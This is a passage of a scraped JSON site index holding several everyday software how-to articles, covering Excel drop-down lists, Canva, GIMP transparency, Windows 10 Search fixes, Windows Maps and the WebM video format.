a File Extension"},{"body":"\u0026nbsp;However, not all users know how to create drop down lists in Excel.\nCreate an Excel drop down list The steps to create a drop down list are as follows:\nStep 1: Create an optional content list.\n  Step 2: Select a cell or a range of cells for your drop-down list with the same drop-down list content.\n  Step 3: On the Data tab (1) , click Excel Data Validation (2) .\n  Step 4: The Data Validation window appears, on the Settings tab , follow these steps:\nIn the Allow box , select List . In the Source box : enter the location of the area in which you create the drop-down list. Select the checkmark in the In-cell dropdown box. Select Ignore blanks if you want to allow users to leave the box blank. And do not choose if not allowed. Click OK and you're done!\n  The result you get is as follows:\n  Note: in Step 4 , in the Source section,you can enter the options that you want to appear in your list of options separated by commas for similar results.\n  Copy and paste the drop down list If you accidentally selected the drop-down list area in step 2, you can copy the drop-down list following the steps below.\nStep 1: Select the cell containing the drop-down list and press Ctrl + C to copy.\n  Step 2: If you want to copy both the drop down list and the format of the original cell, just select the cell to be copied and press Ctrl + V to copy.\n  Step 3: If you just want to copy the drop down list and do not include the original format. After copying in Step 1 , select the cell to copy the list, right-click and select Paste Special .\n  Paste Speacial window appears, select Validation and then click the OK button .\n  How to select cells containing drop-down lists Select all the cells containing drop down lists Because the arrow button does not show on the drop-down list unless that cell is selected, it is difficult to know which cell contains the drop-down list. You can apply different formats to the cells in the drop down list for easy distinction. But first need to find all the drop down lists. There is a way to select all cells containing drop down lists. Select the Home tab (1) and click the arrow under Find \u0026amp; Select (2) in the Editing section, then select Data Validation (3) .\n  Results of the cells containing the drop down list selected:\n  Select the cells containing the same drop down list With the above method, you can select entire drop down lists, but to select cells containing the same drop down list, follow these steps:\nStep 1: Select a cell containing the drop-down list, select the Home tab (1) and click the arrow under Find \u0026amp; Select (2) in the Editing section, then select Go To Special . (3) .\n  Step 2: On the Go To Special window, click the check box as below and then press the OK button .\n  As a result, only the cells containing the drop-down lists like the ones selected in Step 1 are selected:\n  Delete a dropdown list in one cell To delete the dropdown list in a cell, select the cell and go to the Data tab (1) and click Data Validation (2) in the Data Tools section .\n  Validation window appears, click the Clear All button .\n  The options on the Data Validation dialog box will be reset to the default values, then click OK .\n  So the selected cell will delete the drop down list:\n  Above, Software Tips guide you how to create drop down lists in Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYydqaioXZm8uLqMpaCsrKNitq95xLGanqQ%3D\n","link":"/post/how-to-create-drop-down-lists-in-excel/","section":"post","tags":null,"title":"How to create drop down lists in Excel"},{"body":"Design software has a lot to choose from, but to use them you need a bit of design knowledge, the ability to design ideas for content and layout. If we don't have a lot of design experience, we can use design applications on the phone, such as Canva.\nCanva is a multi-platform design application, online design and for mobile devices. The application offers designs available on a variety of topics, such as logos, flyers, invitation cards, Facebook and Instagram cover photos, etc. Users only need to rely on the available layout designs to customize them. details as you like. The following article will show you how to use the Canva application on iPhone.\nProfessional logo design software 10 free tools that support creating simple infographic Using AAA Logo professional logo design How to use Canva to design on iPhone Step 1:\nClick on the link below to download Canva application to your phone and start up. In the first interface users will be asked to register to use the application. You can register via Facebook account, or by email address.\nDownload the Canva iPhone app    Step 2:\nThis is the main interface of the application. Canva offers many different design themes , swipe left or right to change the theme. Each theme will have different designs. Click on the free templates to use.\n   Step 3:\nIn the design interface we proceed to edit. First, click on the component you want to edit, first replace the background image . Double-click on the background image of the template and will display the photo options, photos available in the album or from the Canva application.\n   Step 4:\nNext, users can edit colors for background images, filters for wallpapers. If you click Advanced, you will see adjustment bars such as brightness, contrast, opacity, .\n    Step 5:\nTo edit the text in the design click on the text and will see the editing interface. First enter the new text for the design and press Done to save the new letter.\n   Go back to the text editing interface and click on the font to change to the new font. Can change the position of the word, rotate the word. Next, adjust the font size to match the design layout.\n   Continue to color the text with available colors, or click the plus icon to display more palettes.\n   Step 6:\nSo you have finished editing the design you have already selected. If you want to add more details click on the plus icon in the lower right corner and display additional content.\nWhen you click on the Text, the user will be able to insert the content into the design. You will still be able to adjust the font, color, and font size for the new content.\n    Step 7:\nYou can also add graphics or purchase the application icon package provided.\n   Step 8:\nIn case you want to delete details in the image, click the trash can icon on the same interface, then select Delete component to click on the detail you want to delete.\n  Step 9:\nFinally when you have finished editing the design click the share icon in the top right corner. Click on Image - PNG to save the image. The application will then proceed to extract the content.\n   Step 10:\nDisplay the Share option so you can save photos to your device or share them with other applications you want. To save the design to iPhone, agree to the Canva application to access the Album .\n    Step 11:\nAll designs you created on Canva will be saved. When clicking on the gear icon will display the Logout account button.\n   No need to have a lot of design experience, idea and layout is very standard, Canva application will provide the design available. From there, users only need to edit according to their ideas.\nSee more:\nHow to create logo with Foundry Logo on Android, iOS Using DesignEvo to design online logo Using DesignBold to design banner, slide, CV, . I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVqLaouoyip6Gnnpp6rbvGqKpmmZ6ZeqSt0Z2qZq%2BZqbVur8CnrZo%3D\n","link":"/post/how-to-design-iphone-logos-and-cards-with-canva/","section":"post","tags":null,"title":"How to design iPhone logos and cards with Canva"},{"body":"Simulation game series is gradually becoming one of the popular game genres both on PC and Mobile. If in the past, the simulation game series was not chosen much because it did not take much care apart from games such as The Sims, Anno, Tropico, Football Manager . now, simulation games have received a lot of attention. more and more genres.\nBesides the games that simulate life, build a city, and manage it, nowadays. Games that simulate a profession such as driving a truck, driving a bus, and driving a plane are also chosen by many people. The most typical is the recently released Microsoft Flight Simulator game that has been well received by many gamers.\nBus Simulator is also one of the bus driving simulation games that look like real life and are chosen by many people. On your PC, you already have Bus Simulator 16, 18 and 21. On mobile you will have a lot of options for this series such as Bus Simulator Ultimate, Coach Bus Simulator and Bus Simulator Indonesia, which are popular with many gamers. in recent times.\nYou can also download Bus Simulator Indonesia on your PC and play if you don't want to play on Mobile. Here's how to install Bus Simulator Indonesia on a PC or laptop.\nDownload Bus Simulator Indonesia on PC, play Bus Simulator Indonesia on PC Step 1: First you need to have an Android emulator on your phone such as Bluestack, Nox Player, MEmu Player, LDPlayer . Here I use NoxPlayer, you download and install the emulator, then go to the application. Use CHPlay and search for the keyword Bus Simulator Indonesia and select the results as shown below.\n  Select Install to start installing the game.\n  Accept Bus Simulator Indonesia access to your emulator location, files and more by clicking Accept .\n  Step 2: After downloading, click Open to open the game.\n  Step 3: The game will be opened, you can choose the game modes in the left column such as Free Mode, Career Mode or Multiplayer Mode.\n  Select your departure and travel destination, press Go to continue.\n  Step 4: Now go to the key settings to play, in the right feature column select Keyset.\n  Step 5: In the section Most frequently used , choose the letter A icon, then click outside the screen and you will see a blue circle icon as below.\nMove this icon to the function icons in the game and assign the key, for example, I assign the W key and the accelerator, the Space key to the brake . when the key is assigned, press Save to save. As for rotating the steering wheel, you have to use the mouse.\n  The turn signals will be A and D, other function keys you can assign or use your mouse to press.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJuto2LAqrnUpZitp6Jitq%2BwzqecrKGRYryvecBmmqiloKrBpr6MqZo%3D\n","link":"/post/how-to-download-bus-simulator-indonesia-on-a-computer-pc/","section":"post","tags":null,"title":"How to download Bus Simulator Indonesia on a computer, PC"},{"body":"Shapes is a great tool in Word that helps you do many things like draw shapes or anything and more specifically they support to draw diagrams in Word. Today I will share with you How to draw diagrams in Word, or follow the article below.\n  I. Draw a diagram in Word 2016 and 2013 Step 1: Go to Insert menu = Shapes =\u0026gt; Select a rectangle shape.\n  Step 2: Click on the position you want to place the drawing =\u0026gt; Hold the left mouse button and drag the mouse to form a rectangle and release the mouse to get a rectangle.\n  - Continue drawing other rectangles, pay attention to the distance between the images to keep the arrows pointing down.\n  - Change the format of the shapes by clicking on the image you want to format =\u0026gt; go to Format =\u0026gt; menu in Shape Styles section to choose the color and text format depending on your purpose.\n  - We can also change the color and border format by right clicking on the image you want to change =\u0026gt; Select Format Object =\u0026gt; After a Format Shape window appears =\u0026gt; Fill =\u0026gt; Solid fill =\u0026gt; Color =\u0026gt; Choose the color of the desired image.\n  - Results after changing the rectangular format.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n  Step 3: Draw lines and arrows.\n- Go to Insert menu =\u0026gt; Shapes =\u0026gt; Select the line and arrow to draw.\n  - First draw straight line first, then draw arrows.\n  - Results after drawing arrows and lines for the organization chart.\n  Step 4: Type the word in the picture =\u0026gt; click on the picture when you see a blinking vertical line appear, then start typing.\n  - Type in all the pictures with the content specified and the results as shown.\n  II. Draw a diagram in Word 2010 and 2007 Step 1: Go to Insert menu = Shapes =\u0026gt; Select a rectangle shape.\n  Step 2: Click on the position you want to place the drawing =\u0026gt; Hold the left mouse button and drag the mouse to form a rectangle and release the mouse to get a rectangle.\n  - Continue drawing other rectangles, pay attention to the distance between the images to keep the arrows pointing down.\n  - Change the format of the shapes by clicking on the image you want to format =\u0026gt; go to Format =\u0026gt; menu in Shape Styles section to choose the color and text format depending on your purpose.\n  - We can also change the color and border format by right clicking on the image you want to change =\u0026gt; Select Format Object =\u0026gt; After a Format Shape window appears =\u0026gt; Fill =\u0026gt; Solid fill =\u0026gt; Color =\u0026gt; Choose the color of the desired image.\n  - Results after changing the rectangular format.\n  Step 3: Draw lines and arrows.\n- Go to Insert menu =\u0026gt; Shapes =\u0026gt; Select the line and arrow to draw.\n  - First draw straight line first, then draw arrows.\n  - Results after drawing arrows and lines for the organization chart.\n  Step 4: Type the word in the picture =\u0026gt; click on the picture when you see a blinking vertical line appear, then start typing.\n  - Type in all the pictures with the content specified and the results as shown.\n  III. Draw an organization chart with SmartArt Step 1: Go to Insert menu =\u0026gt; SmartArt .\n  Step 2: The Choose a SmartArt Graphic dialog box appears =\u0026gt; Hierarchy =\u0026gt; Select the diagram depending on the purpose of use =\u0026gt; Click OK .\n  Step 3: After clicking OK on your page will appear a diagram that you have chosen.\n  Results after adding words.\n  - Also you notice in the Design section will have the following:\nAdd Shape: add small branches, horizontal branches, sub-branches . Layouts: change the shape of the branches and the content boxes. Change Colors: change the color. SmartArt Styles: diagram style. - In the Format section, it will be the place for you to format the font and color.\nThank you for taking the time to follow the article and do not forget to leave a comment below to contribute comments for the article.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRusMianquZnah6qrqMsKarnA%3D%3D\n","link":"/post/how-to-draw-diagrams-in-word/","section":"post","tags":null,"title":"How to draw diagrams in Word"},{"body":"Search feature on your Windows 10 is not working? Here are six guides to help you solve the most common problems with Windows Search.\nI. What is Windows Search? On Windows 10, Windows Search is an essential feature that allows you to find almost anything on your computer (such as documents, images, videos, system files, apps, emails and settings). fast. Also thanks to integration with Bing search, you can use this feature to quickly access web pages and answer common questions from results previews.\nSearch ( Search Windows ) is a useful function that we use every day, but there comes a time when it stops working as expected. For example, sometimes the search queries won't show up or get no results. The search box on the taskbar will be unresponsive or not open at all, etc.\nA lot of Windows 10 users have problems with the 'search' feature on the taskbar, namely that the box appears blank and does not show the search results. I have investigated the issue and found a fix solution like disabling Bing integration , using Windows troubleshooter and lots of methods to fix Search Windows 10 not looking, not working error.\nII. How to fix the Windows 10 Search error that cannot be found 1. Remove Bing from Windows 10 \"Search\" feature The Windows Search feature can't search, doesn't work on Windows 10 that prevents it from displaying anything on the taskbar or windows, many people have figured out how to fix it by disabling Bing integration . This requires working with RegEdi so please read carefully and follow the procedure to avoid other troubles.\nStep 1: Press the shortcut Windows + Ron your keyboard.\nStep 2: Type: regedit and press Enter on the keyboard.\nStep 3: In the Registry Editor window , double-click HKEY_CURRENT_USER.\nStep 4: Double-click SOFTWARE.\nStep 6: Double-click Microsoft.\nStep 7: Double-click Windows.\nStep 8: Double-click CurrentVersion.\nStep 9: Double-click Search.\nStep 10: Right-click on the right pane of the RegEdit window and click New.\nStep 11: Click D-WORD (32-bit) Value.\nStep 12: Type: BingSearchEnabled and press Enter on the keyboard.\nStep 13: Double-click the BingSearchEnabled you just created.\nStep 14: Enter 0 in the Value data field.\nStep 15: Click OK .\nStep 16: Double-click CortanaConsent.\nStep 17: Enter 0 in the data field -\u0026gt; Click OK.\nStep 18: Restart your PC.\nThis will bring Windows 10 Search back online, at least with local results. This is a temporary fix while Microsoft resolves the root of the problem, it's a good idea to undo the changes once the 'Search' feature returns as expected.\nTo undo the above process, repeat steps 14 and 17 but enter 1 in the value field to re-enable Bing and CortanaConsent.\n2. How to fix search error using Troubleshooter (Troubleshooter) If you are having trouble searching on Windows 10 and restarting the device does not resolve the problem then you can use the Troubleshooter setting to diagnose and fix common problems. Out. You can do this from the Settings app or from the Command Prompt .\n1. Repair search with Settings To troubleshoot search with the Settings app , use the following steps:\nStep 1: Press the key combination Windows + Ion the keyboard to open Settings .\nStep 2: Click Update \u0026amp; Security.\nStep 3: Click Troubleshoot .\nStep 4: In the Find and fix other problems section , select the Search and Indexing option.\nStep 5: Click the Run the troubleshooter button .\nStep 6: Check the box that best describes your situation, for example: Files don't appear in search results (The file doesn't appear in the search results option).\n  Step 7: Click Next.\nContinue with on-screen instructions (if available).\n  After you complete the steps, the search will start working again on your computer.\n2. Repair search with Command Prompt Alternatively you can also start the Troubleshooter with the Command Prompt:\nStep 1: Use a shortcut Windows + Rto open the Run command .\nStep 2: Enter the following command and click the OK button .\n cmd Step 3: Type the following command to launch the Troubleshooter (troubleshooter) and press Enter.\n msdt -ep WindowsHelp id SearchDiagnostic   Step 4: Click the Advanced option .\nStep 5 : Check the option Apply repairs automatically and then click Next .\nStep 6: Check the problem that best describes your situation and then click Next .\n  Step 7: Continue with the instructions on screen (if any).\nAfter you complete the steps, the Troubleshooter will scan and fix the most common problems with this feature.\n3. Fix the search error by restarting the task You can also restart the Windows 10 process that controls search elements with these steps:\nStep 1: Right-click on the taskbar and select the option of Task Manager .\nQuick Tip: Also you can open Task Manage r using keyboard shortcut Ctrl + Shift + Escor shortcutCtrl + Alt + Del\nStep 2: Click the Details tab .\nStep 3: Right-click on SearchUI.exe process and select End task.\n  \nAfter you complete these steps, SearchUI will restart automatically. If it doesn't restart immediately, restart your computer then confirm if the search has been fixed.\n4. Fix the search error by rebuild Index Settings The Index feature may cause issues preventing search results from being returned on your device. If you have 4 instructions above and haven't fixed this error, try rebuilding the Index database to fix the search problem on Windows 10.\nTo rebuild the Search Index on your device, follow these steps:\nStep 1: Press the key combination Windows + Ito open Settings .\nStep 2: Click Search .\nStep 3: Click Searching Windows.\nStep 4: Click the Advanced search Indexer Settings option .\n  Step 5: Click the Advanced button .\n  Step 6: Click the Index Settings tab .\nStep 7: In the Troubleshooting section , click the Rebuild button, and then click OK to complete.\n  After you complete the steps, Windows 10 will delete and rebuild the Index database. However, while the database is rebuilding, features like Search and File Explorer cannot work properly, please wait for a few minutes.\n5. Fix the search error by restarting the Windows Search Services service One of the other reasons leading to the search feature in Windows 10 does not operate by Services (services) Windows Search is turned off or make a mistake, we need to do is restart or activate this service. To enable Windows Search service , follow these steps:\nStep 1: Use a shortcut Windows + Rto open the Run command .\nStep 2: Enter the following command and click the OK: services.msc button\nStep 3: Find and double-click the Windows Search service .\n  \nStep 4: Click the General tab .\nStep 5: In the Startup type , select Automatic (Delayed Start).\nStep 6: Click on Start and then select OK to complete the setting.\n  \nAfter you have completed the above steps, the Services Windows Search service will be enabled on your computer, you can now start searching for files / applications again on the taskbar, File Explorer.\n6. How to fix search errors using Windows Update On Windows 10, quality updates may include fixes for search functionality, but they could also be the reason the feature crashed.\n1. Fix search error by updating Windows If you haven't updated Windows 10 in a while, perhaps the latest update might include a fix for Windows Search. To update Windows 10 to the latest release, follow these steps:\nStep 1: Press the key combination Windows + Ito open Settings .\nStep 2: Click Update \u0026amp; Security .\nStep 3: Click Windows Update.\nStep 4: Click the Check for update button .\n  After you complete the steps above, the latest maintenance update will likely resolve your computer's search problem.\n2. Fix the search error by deleting the update While Microsoft is always trying to release updates to improve the overall Windows 10 experience, sometimes a bug update can affect a lot of features, and looking is a concrete example.\n* Note: You should remember that this only applies because reluctantly, Windows 10 updates are now more stable and cause less errors than before.\nIf you suspect a recent update is the reason why your Windows Search search is corrupted, use the following steps to remove it:\nStep 1: Press the key combination Windows + Ito open Settings .\nStep 2: Click Update \u0026amp; Security .\nStep 3: Click Windows Update.\nStep 4: Click on the option View update history ( View update history ).\n  Step 5: Click the Uninstall updates option .\nStep 6: Select the latest update installed on your computer and click Uninstall.\nStep 7: Click the Yes button , after the uninstall process is finished, reboot the device.\nAfter you complete these steps check to see if the error ' Search Windows 10 could not search ' is gone.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmrqKmlKTEtHmQaWSsnZGnsKl5waivZqyYlsFur8CnpaisXZeybrLOrqWdZaWlsaLAxA%3D%3D\n","link":"/post/how-to-fix-the-windows-10-search-box-that-cannot-be-found-update/","section":"post","tags":null,"title":"How to fix the Windows 10 Search box that cannot be found (update)"},{"body":" This wikiHow teaches you how to make an entire image transparent when using the GIMP editor, as well as how to remove a background's image. You can do this on both Windows and Mac versions of GIMP. Keep in mind that GIMP's default export...\nMethod 1of 2:\nMaking a Whole Image Transparent  Open GIMP. The GIMP app icon resembles a dog-like face holding a paint brush in its mouth. GIMP may take a few minutes to open if you haven't recently opened it.   Open an image in GIMP. Click File in the top-left corner of the window (Windows) or the screen (Mac), then click Open... in the drop-down menu, select an image to open, and click Open. You can repeat this process for multiple photos if you want to layer the transparent image over a non-transparent one. If you open a second image in a second window, select it, press Ctrl+C (or ⌘ Command+C on Mac), select the first image, and press Ctrl+V (or ⌘ Command+V.   Click Windows. This tab is at the top of the window (or the screen if you're on a Mac). A drop-down menu will appear.\n  Select Dockable Dialogs. It's near the top of the Windows drop-down menu. Selecting it prompts a pop-out menu.\n  Click Layers. You'll find it near the top of the Dockable Dialogs pop-out menu. A small \"Layers\" window will open.\n  Select your image. Click the name of the image that you want to edit. It should be in the middle of the \"Layers\" window.\n  Lower the \"Opacity\" value. Click and drag the \"Opacity\" slider at the top of the window to the left, or click the downward-facing arrow next to it to lower the opacity.[1] Make sure that you're monitoring your image while lowering the opacity. Lowering the opacity from 100 to 50 should be enough to make your image transparent.   Exit the \"Layers\" window. Click the X in the top-right (Windows) or top-left (Mac) corner of the \"Layers\" window.\n  Click Image. It's at the top of the GIMP interface. A drop-down menu will appear.\n  Click Flatten Image. You'll find this option near the bottom of the Image drop-down menu. Doing so \"flattens\" the image, thus preserving its transparency.\n  Export your project as a PNG file. The default export settings will save your project as a JPG, but you'll need to change this in order to maintain your image's transparent background: Click File. Click Export As.... Find the file's name at the top of the export window. Change the \"jpg\" part of the file's name to \"png\" (for example, \"bear.jpg\" would become \"bear.png\"). Click Export at the bottom of the window, then click Export when prompted.  Method 2of 2:\nMaking an Image's Background Transparent  Open GIMP. The GIMP app icon resembles a dog-like face holding a paint brush in its mouth. GIMP may take a few minutes to open if you haven't recently opened it.   Open an image in GIMP. Click File in the top-left corner of the window (Windows) or the screen (Mac), then click Open... in the drop-down menu, select an image to open, and click Open. When removing the background from an image in GIMP, it's best to use an image in which the background is as close to one color as possible. Removing complex backgrounds will take a long time.   Click Layer. It's a menu item at the top of GIMP (Windows) or the screen (Mac). A drop-down menu will appear.\n  Select Transparency. This is in the drop-down menu. Selecting it with your mouse cursor prompts a pop-out menu to appear.\n  Click Add Alpha Channel. You'll find this in the pop-out menu.\n  Click Tools. It's at the top of GIMP or the screen. Another drop-down menu will appear.\n  Select Selection Tools. This option is in the drop-down menu. Doing so prompts a pop-out menu.\n  Click Fuzzy Select. It's in the pop-out menu.\n  Select part of the background. Click a section of the background; if you have a particularly complex background with multiple different colors, you'll instead click and drag your mouse across it until a large portion is selected without selecting any of the part of the image that you want to save. When part of the background is selected, you'll see a dotted line appear around the selected parts. If the entire background is the same color, clicking anywhere on it will select the entire background.   Press the Del key. Doing so will remove the selected part of the background. If your background was one color, the background should now be gone. On a Mac, click Edit, then click Cut.   Remove the rest of the background. If pieces of the background are left over, select and remove them before proceeding. If you need to zoom in to make minor adjustments, click the  icon next to the percentage at the bottom of the GIMP window, then click the factor by which you want to zoom in.   Export your project as a PNG file. The default export settings will save your project as a JPG, but you'll need to change this in order to maintain your image's transparent background: Click File. Click Export As.... Find the file's name at the top of the export window. Change the \"jpg\" part of the file's name to \"png\" (for example, \"meow.jpg\" would become \"meow.png\"). Click Export at the bottom of the window, then click Export when prompted.   Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYytqZqmo6Wus7HNrWSipZGcsm7B0qKloGWXnrqx\n","link":"/post/how-to-make-a-transparent-image-using-gimp/","section":"post","tags":null,"title":"How to Make a Transparent Image Using Gimp"},{"body":"With offline maps and traffic data, Windows 10 Maps is the perfect companion for long journeys. To go from point A to point B, you can save your favorite place to quickly go there. And here is how.\nMaps application in Windows 10 comes preinstalled. To open it, click on the Start button and search for Maps , click on the Maps icon in the Start menu tile or search for Maps in the list of pre-installed programs.\nHow to use Bing Maps offline on Windows 10? How to fix not enabled GPS on Windows 10 How to use Smakoon to find restaurants on Windows 10 Add home location, workplace, parking space You can access your favorite places in Windows Maps by clicking the Saved Places button in the Maps window. The star-shaped date button is at the top right.\n  The menu appears with two tabs: Favorites and Collections . When you select the Favorites tab, you will see three common locations.\nThe Home and Work locations are for home and work while Car allows you to save parking locations. This is useful when you park in a temporary location.\nIn each tab there is an Add button. Click that button to start adding locations to these popular places.\n  When you click the Add button, a search bar will appear for you to select the desired location. For example, with the Home location, search for your home address and then press Enter .\n  As soon as you press Enter , the new location will be saved. You can then review it in the Favorites tab in the Save Places menu.\nIf you need quick directions to the Home location, you can click the Directions link that appears below the item, to display navigation from the current position to the location you selected.\n  You can also search Home , Work, or Car in the Maps search bar to display a list of these locations, from which you can share, print or list directions if desired.\nAdd favorite places Windows Maps allows users to add multiple locations beyond these three most important locations. You can save additional locations in the Favorites tab by clicking the Add a Place button.\n  You have two options for adding a favorite location by searching for locations using the search bar or clicking Choose Location to indicate the location on the map manually.\n  If you select only the map manually, move it to the appropriate location and then click the Set button.\n  Once setup is complete, the new added location will appear in the list in the Save Places tab under Home , Work and Car .\n  Click on these items to go to the list you can share, add notes, view nearby places or delete it from favorites.\n  You can add as many items as you want. For quick directions, click the Directions link below the name of each item.\nCreate collection If you like traveling, the Favorites tab can be a bit cluttered. To help you, Windows 10 Maps will allow you to create collections.\nCollections are a group of saved favorite locations. For example, you can create a list of favorite destinations by location to share or keep to yourself.\nTo get started, click the Saved Places icon at the top right and then click the Collections tab.\n  To create a new collection, click the New Collection button, to name and write a description.\nIf you do not want to make this collection public, check the Make Collection Private box. When done, press the Save button.\n  The new collection will appear in the Collections list so you can add locations.\n  To start adding locations, click on the new collection. Next click on Add a Place to start the search.\n  Type your favorite location in the search bar or click Choose Location to locate the map manually. Click Set when ready.\n  The selected location will be added to the new collection. You can add more locations if you want to in the collection.\n  Just like favorite locations are saved individually, click on any saved item in the collection to bring up a list that allows to save the note, share or delete it completely.\nYou can also click Directions below the list to quickly display directions.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7JussCvpquhpJp6sbjAnJysZZ%2Bjeri1zZ2msKtdZn1uucCpqg%3D%3D\n","link":"/post/how-to-save-favorite-places-on-windows-10-maps/","section":"post","tags":null,"title":"How to save favorite places on Windows 10 Maps"},{"body":" Come up with as many words as you can, without worrying if they're interesting. The unrestricted creative energy might spark something new.\n Halle Payne\nSinger/Songwriter Halle Payne has been writing songs since the age of eight. She has written hundreds of songs for guitar and piano, some of which are recorded and available on her Soundcloud or Youtube channel. Most recently, Halle was a part of a 15-person collaboration in Stockholm, Sweden, called the Skål Sisters.  Halle Payne\nSinger/Songwriter\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmedKopaBlnK6%2Fqq%2FS\n","link":"/post/how-to-write-song-lyrics/","section":"post","tags":null,"title":"How to Write Song Lyrics"},{"body":"What is WebM?\nWebM is an open media file format, specifically designed for the web.WebM files include video streams compressed with video codecs VP8 or VP9, ​​audio streams are compressed with Vorbis audio codecs or Opus and WebVTT documents.WebM file structure is built based on Matroska media container (Matroska media container).\nWEBM files are supported by most web browsers because this format is sometimes used on HTML5 websites to play online videos.For example, YouTube uses WebM Video file format for all videos on their page, from 360p to other really high resolutions.Wikimedia and Skype are the same.\n  What is VP8 and VP9?\nVP8 and VP9 are highly effective video compression technologies (\"codec\" videos) developed by WebM Project.Anyone can use these codecs because they are free of copyright.\nWhat is Vorbis and Opus?\nVorbis and Opus are open source audio compression technologies (\"codec\" sound) developed by Xiph Foundation.Like VP8 and VP9, ​​these technologies are completely free.\nWhy is WebM important?\nAn important factor that contributed greatly to the success of the web model is that its core technologies such as HTML, HTTP and TCP / IP are open and allow for freedom of deployment.Although video is also a core aspect to the web experience, unfortunately there is no free and open video format that is comparable to other top-paid options.To solve this problem, WebM Project has been deployed.WebM Project is a widely supported community effort to develop an open web media format (open web media format).\nIn essence, WebM is built for the web.By testing hundreds of thousands of videos with different characteristics, it was found that VP8 and VP9 are compression technologies that can deliver high-quality videos and effectively regulate processing and tape conditions. Different communication on many devices.The ability to use high bandwidth and less pressure on memory can help publishers save a lot of different costs almost immediately.In addition, the simplicity of VP8 and VP9 also helps developers easily integrate them into the current environment.They also do not require a lot of manual adjustments in the encoder to produce high quality results.\n  Vorbis / Opus VP8 / VP9 video and audio are the only codecs allowed in a valid .webm file. Why is that?\nWebM Project has agreed to identify WebM files in this way because they want to bring the best to users.In fact, users only need good, good quality videos, they don't want to worry about supported codecs or file formats, etc. After much discussion with the manufacturers browse, tool developers and many experts, WebM Project has reached consensus that the number of such defined format limits the confusion for users.If the user has a .webm file, they can be confident that it will be playable in any browser or multimedia player that supports WebM.\nHow to play WebM files?\nUse supported web browsers or media players that support the .WEBM format.You can open WebM files with most popular web browsers such as Google Chrome, Opera, Firefox, Microsoft Edge and Internet Explorer.If you want to play WebM files in the Safari web browser on a Mac, you can do this through the VLC multimedia player, with the VLC plugin dedicated to Mac OS X.\nNote: If your web browser does not support opening WebM files, make sure it has been updated to the latest version.Integrated WebM support starts from Chrome v6, Opera 10.60, Firefox 4 and Internet Explorer 9.\nVideo WebM file format can also be played on Windows Media Player (as long as the DirectShow filter is also installed), MPlayer, KMPlayer and Miro support.\nIf you're using a Mac, you can use most of the same programs supported by Windows to play WebM files, and there is also a free Elmedia player.\nDevices running Android 2.3 from Gingerbread and above can easily open WebM Video files naturally without installing any other special applications.If you need to open WEBM files on your iOS device, you must first convert the file to formats supported on iOS.\nVisit the WebM Project page to see a list of media players that work with WebM files.\nWhere can I watch WebM videos?\nWebM has been widely deployed by YouTube and other online video sharing sites.However, most users do not need to care about what specific video formats on these pages do.Instead, new video providers and publishers are the ones who need to pay more attention to the media formats that are specifically WebM.\n  How can I customize the quality of my WebM video?\nYou use FFMpeg to encrypt some of your own videos and play them back in Chrome.\nHow do I build my website in a way that makes use of WebM but still supports other formats?\nYou can visit HTML5Rocks.com for more detailed information.\nHas VP8 / VP9 or WebM changed?\nCan not.Features of WebM format can be expanded, but not in a way that breaks backwards compatibility.The bitstream VP8 and VP9 formats are the final format.However, future WebM Project video compression technologies will be released as new codecs.\nWebM, VP8 and VP9 are open source, So how to get source code and contribute?\nYou can access the WebM Project website athttps://www.webmproject.org/code/.\nDo I need to be a programmer to be able to use WebM?\nYou just need to be a programmer when you want to build or support WebM into a software application, or contribute code to WebM Project.\nWebM Project is owned by Google or works independently?\nWebM is an open source project funded by Google.\nCan WebM be used in videoconferencing?\nVP8 and VP9 can work well in real-time environments, with low latency like in videoconferencing, and in fact, companies have used them independently for such applications. .\nHow do I know if I have installed WebM on my computer?\nWebM is not something you can install yourself.It is deployed in application software such as web browsers, media players and media plug-ins.\nHow to convert a WebM file\nIf you need to use your WebM file with a specific program or device that doesn't support this format, you can convert that WebM video to a supported file format using conversion programs. Free video file.Some of them are offline programs that you have to download, but there are also some free online WEBM converters to choose from.\n  Programs like Freemake Video Converter and Miro Video Converter can support converting .WEBM files to popular formats like MP4, AVI and a number of other video file formats.Meanwhile, Zamzar.com is a tool that helps convert WebM videos to MP4 online easily (it even allows you to save videos to GIF format).Note that another tool can also help convert WebM files to MP3 and other audio file formats, but all images will be brushed away and you only have audio content left.Also, if you use WebM converters online, remember that you must first upload videos to the conversion site and then download again after the video has been converted.With a large number of videos to convert, it is recommended to use offline conversion tools to save time to upload videos to convert and download to the computer when conversion is complete.\nHow can I still open a WebM file?\nIf you still cannot open WebM files even though you have used the above methods, it is possible that your file is not actually in WebM format.Some types offiles witha look-through extension look very similar to the .WEBM file extension, so you should also double-check the standard file extension.\nFor example, WEM files are written almost like WEBM files but in fact WEM is WWise's encrypted media files, and can be opened by Audiokinetic WWise.Neither the program nor the format of these two files are the same and therefore they will not be compatible with the same file openers and converters.\nWEB files are also a similar case, although there is a way to write similar to WEBM but actually WEB is Web Xara document files used by Xara Designer Pro software of Magix and has nothing to do with WEBM .In addition, there are cases of WEBP files (WEBP image files used by Google Chrome and some other programs), and EBM files (they are EXTRA! Or Embla Recording files, used with Embla RemLogic) .\nAbove are some basic information about WebM files, hopefully these information can help you!\nsee more\nWhat is WMV file? How to open, edit and convert WMV files What file is XSPF? How to open, edit and convert XSPF files List of some types of files that are potentially dangerous on Windows What file is M4A? How to open, edit and convert M4A files ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMeeZLCdkqJ6t7XDnqZmnp%2BnuqLAjK2fq6elnLVustGeqK6dnqm5unnArKKenF2mwqa%2F06Kmp6s%3D\n","link":"/post/learn-about-the-webm-video-format-through-frequently-asked-questions/","section":"post","tags":null,"title":"Learn about the WEBM video format through frequently asked questions"},{"body":"According to technology support company Neofect, patients with spinal cord injuries, face three major challenges in their daily lives: opening and closing, brushing teeth and picking up objects of 